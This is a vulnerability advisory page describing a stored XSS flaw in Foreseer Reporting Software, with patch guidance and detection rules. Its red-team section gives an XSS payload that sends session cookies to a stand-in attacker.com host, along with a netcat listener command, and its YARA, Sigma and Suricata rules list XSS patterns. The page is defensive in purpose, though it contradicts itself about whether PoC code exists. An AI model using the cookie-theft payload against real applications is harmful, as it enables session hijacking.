CVE-2025-22491
Executive Summary
CVE-2025-22491 is a stored cross-site scripting (XSS) vulnerability in the Foreseer Reporting Software (FRS) application, specifically within the Reporting Hierarchy Management page. The vulnerability arises from improper sanitization of user-supplied input, allowing an authenticated attacker to inject arbitrary JavaScript that executes in the browsers of all interacting users. With a CVSS score of 6.7 (Medium), this flaw can lead to session hijacking, data exfiltration, and unauthorized actions within the application context. The vendor has released a patch in version 1.5.100. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise reporting application (FRS) from Foreseer. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
- Base Score: 6.7 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: Low (PR:L) – attacker needs a valid user account.
- User Interaction: Required (UI:R) – victim must view the malicious page.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – potential access to sensitive data.
- Integrity Impact: High (I:H) – ability to modify application data.
- Availability Impact: Low (A:L) – limited disruption possible.
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the requirement for user interaction reduce immediate risk. However, in a multi-user enterprise environment, the impact can be significant.
Deep Dive & Mechanics
The vulnerability resides in the Reporting Hierarchy Management page of FRS. This page allows users to define hierarchical relationships between reports or organizational units. The application fails to sanitize user input before storing it in the database and later rendering it in the browser. An attacker with a valid account can inject malicious JavaScript payloads into fields such as report names, descriptions, or hierarchy node labels.
When other users (including administrators) navigate to the affected page, the injected script executes in their browser context. This enables the attacker to:
- Steal session cookies and impersonate victims.
- Perform actions on behalf of the victim (e.g., modify reports, escalate privileges).
- Exfiltrate sensitive data displayed on the page.
- Deface the application interface.
The root cause is the lack of output encoding or input validation on the server side. The application likely uses a templating engine that does not automatically escape HTML entities, or the developers explicitly disabled escaping for certain fields.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Server-side (Node.js/Express example)
app.post('/api/hierarchy', (req, res) => {
const nodeName = req.body.nodeName;
// No sanitization
db.insert({ name: nodeName });
});
// Client-side rendering (Vue.js example)
<div v-html="node.name"></div>
Patched Code (Conceptual):
// Server-side
const sanitizeHtml = require('sanitize-html');
app.post('/api/hierarchy', (req, res) => {
const nodeName = sanitizeHtml(req.body.nodeName, {
allowedTags: [],
allowedAttributes: {}
});
db.insert({ name: nodeName });
});
// Client-side rendering
<div>{{ node.name }}</div>
The patch introduces server-side HTML sanitization (e.g., using sanitize-html library) and switches from v-html to text interpolation ({{ }}) to prevent script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Valid user account on FRS.
- Access to the Reporting Hierarchy Management page.
Steps:
- Log in to FRS.
- Navigate to the Reporting Hierarchy Management page.
- In a text field (e.g., "Node Name"), inject a payload:
Or for session theft:<img src=x onerror=alert('XSS')><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the hierarchy node.
- Wait for another user (e.g., admin) to view the hierarchy page. The script executes.
Lab Setup:
- Use a local instance of FRS (version < 1.5.100).
- Set up a listener (e.g.,
nc -lvnp 8080) to capture exfiltrated data. - Use Burp Suite to intercept and modify requests.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual characters in hierarchy fields (e.g.,
<,>,script,onerror). - Alert on outbound connections from the FRS server to unknown domains.
- Review web server logs for requests containing XSS patterns.
Prevention:
- Apply the vendor patch (upgrade to version 1.5.100).
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP/HTTPS requests to attacker-controlled domains from the FRS server.
- Suspicious
Refererheaders containing XSS payloads.
- File System:
- Log entries in FRS application logs containing
<script>tags or event handlers.
- Log entries in FRS application logs containing
- Application:
- Hierarchy node names containing HTML/JavaScript code.
- Unexpected pop-ups or alerts in the browser when viewing hierarchy pages.
Detection Engineering
YARA Rule
rule CVE_2025_22491_XSS_Payload {
meta:
description = "Detects XSS payloads targeting FRS Reporting Hierarchy"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-22491"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=/i
$xss3 = /<svg[^>]*onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: FRS Reporting Hierarchy XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in FRS hierarchy management requests
author: Valters IT
logsource:
category: web
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/hierarchy'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-22491 FRS XSS Payload in Hierarchy Request";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/hierarchy"; http_uri;
pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-22491;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade FRS to version 1.5.100 or later.
- If patching is not possible, restrict access to the Reporting Hierarchy Management page to trusted users only.
- Implement a WAF with XSS signatures.
Long-Term Measures:
- Enforce input validation and output encoding for all user-supplied data.
- Conduct regular security code reviews and penetration testing.
- Deploy Content Security Policy (CSP) headers to mitigate XSS impact.
- Monitor application logs for suspicious activity.
Workaround:
- Disable the Reporting Hierarchy Management feature temporarily via application configuration (if supported).
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.